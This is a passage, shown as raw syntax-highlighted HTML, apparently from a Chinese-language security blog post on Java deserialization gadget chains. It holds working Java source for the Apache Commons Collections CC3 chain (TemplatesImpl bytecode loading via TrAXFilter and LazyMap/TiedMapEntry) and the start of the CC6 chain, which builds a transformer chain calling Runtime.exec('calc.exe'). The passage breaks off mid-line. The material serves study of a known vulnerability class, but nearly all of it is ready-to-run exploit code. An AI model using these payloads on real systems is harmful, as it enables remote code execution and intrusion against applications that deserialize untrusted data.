punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">InvokerTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>keyvalue<span class="token punctuation">.</span></span><span class="token class-name">TiedMapEntry</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>map<span class="token punctuation">.</span></span><span class="token class-name">LazyMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>map<span class="token punctuation">.</span></span><span class="token class-name">TransformedMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>ibatis<span class="token punctuation">.</span>javassist<span class="token punctuation">.</span></span><span class="token class-name">ClassPool</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>ibatis<span class="token punctuation">.</span>javassist<span class="token punctuation">.</span></span><span class="token class-name">CtClass</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">javax<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>transform<span class="token punctuation">.</span></span><span class="token class-name">Templates</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token keyword">static</span> <span class="token import static"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span><span class="token class-name">Reflections</span><span class="token punctuation">.</span><span class="token static">setFieldValue</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonCollections3</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span>HelloTemplatesImpl</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> fakeTransformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token class-name">TrAXFilter</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InstantiateTransformer</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token class-name">Templates</span><span class="token punctuation">.</span><span class="token keyword">class</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> obj <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token comment">//        CC_LazyMap(fakeTransformers, transformers);</span>        <span class="token class-name">CC_No_Transformer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_TransformedMap</span><span class="token punctuation">(</span><span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span><span class="token comment">//        Transformer[] transformers = new Transformer[]&#123;</span><span class="token comment">//                new ConstantTransformer(obj),</span><span class="token comment">//                new InvokerTransformer("newTransformer", null, null)</span><span class="token comment">//        &#125;;</span>        <span class="token class-name">Transformer</span> transformerChain <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">(</span>transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">TransformedMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> transformerChain<span class="token punctuation">)</span><span class="token punctuation">;</span>        outerMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">"value"</span><span class="token punctuation">,</span> <span class="token string">"xxxx"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 手动put触发</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_LazyMap</span><span class="token punctuation">(</span><span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> fakeTransformers<span class="token punctuation">,</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span><span class="token comment">//        Transformer[] fakeTransformers = new Transformer[] &#123;</span><span class="token comment">//                new ConstantTransformer(1)</span><span class="token comment">//        &#125;;</span><span class="token comment">//        Transformer[] transformers = new Transformer[]&#123;</span><span class="token comment">//                new ConstantTransformer(TrAXFilter.class),</span><span class="token comment">//                new InstantiateTransformer(new Class[] &#123; Templates.class &#125;, new Object[] &#123; obj &#125;)</span><span class="token comment">//        &#125;;</span>        <span class="token class-name">Transformer</span> transformerChain <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">(</span>fakeTransformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">HashMap</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">LazyMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> transformerChain<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TiedMapEntry</span> tme <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TiedMapEntry</span><span class="token punctuation">(</span>outerMap<span class="token punctuation">,</span> <span class="token string">"keykey"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">HashMap</span> expMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        expMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>tme<span class="token punctuation">,</span><span class="token string">"valuevalue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        outerMap<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">"keykey"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Field</span> f <span class="token operator">=</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span><span class="token string">"iTransformers"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        f<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        f<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>transformerChain<span class="token punctuation">,</span>transformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">out</span><span class="token punctuation">(</span>expMap<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token class-name">CC_No_Transformer</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>loader<span class="token punctuation">.</span></span>HelloTemplatesImpl</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span> transformer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"getClass"</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">LazyMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> transformer<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TiedMapEntry</span> tme <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TiedMapEntry</span><span class="token punctuation">(</span>outerMap<span class="token punctuation">,</span> obj<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> expMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        expMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>tme<span class="token punctuation">,</span> <span class="token string">"valuevalue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        outerMap<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>transformer<span class="token punctuation">,</span> <span class="token string">"iMethodName"</span><span class="token punctuation">,</span> <span class="token string">"newTransformer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// ==================</span>        <span class="token comment">// 生成序列化字符串</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>expMap<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">out</span><span class="token punctuation">(</span><span class="token class-name">HashMap</span> handler<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p><code>HelloTemplatesImpl</code>类代码用的就是CC2的代码</p><h3 id="CommonCollections6"><a href="#CommonCollections6" class="headerlink" title="CommonCollections6"></a>CommonCollections6</h3><p><code>TiedMapEntry</code>链</p><pre class="language-java" data-language="java"><code class="language-java"><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span></span><span class="token class-name">Transformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ChainedTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">ConstantTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>functors<span class="token punctuation">.</span></span><span class="token class-name">InvokerTransformer</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>keyvalue<span class="token punctuation">.</span></span><span class="token class-name">TiedMapEntry</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>commons<span class="token punctuation">.</span>collections<span class="token punctuation">.</span>map<span class="token punctuation">.</span></span><span class="token class-name">LazyMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ByteArrayOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectInputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>io<span class="token punctuation">.</span></span><span class="token class-name">ObjectOutputStream</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">InvocationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">CommonCollections6</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> fakeTransformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span> transformers <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Transformer</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"getMethod"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token string">"getRuntime"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"invoke"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token class-name">Object</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token keyword">class</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">InvokerTransformer</span><span class="token punctuation">(</span><span class="token string">"exec"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">String</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Object</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token string">"calc.exe"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token keyword">new</span> <span class="token class-name">ConstantTransformer</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        <span class="token class-name">Transformer</span> transformerChain <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">(</span>fakeTransformers<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">HashMap</span> innerMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Map</span> outerMap <span class="token operator">=</span> <span class="token class-name">LazyMap</span><span class="token punctuation">.</span><span class="token function">decorate</span><span class="token punctuation">(</span>innerMap<span class="token punctuation">,</span> transformerChain<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TiedMapEntry</span> tme <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TiedMapEntry</span><span class="token punctuation">(</span>outerMap<span class="token punctuation">,</span> <span class="token string">"keykey"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">HashMap</span> expMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        expMap<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>tme<span class="token punctuation">,</span><span class="token string">"valuevalue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        outerMap<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token string">"keykey"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Field</span> f <span class="token operator">=</span> <span class="token class-name">ChainedTransformer</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token 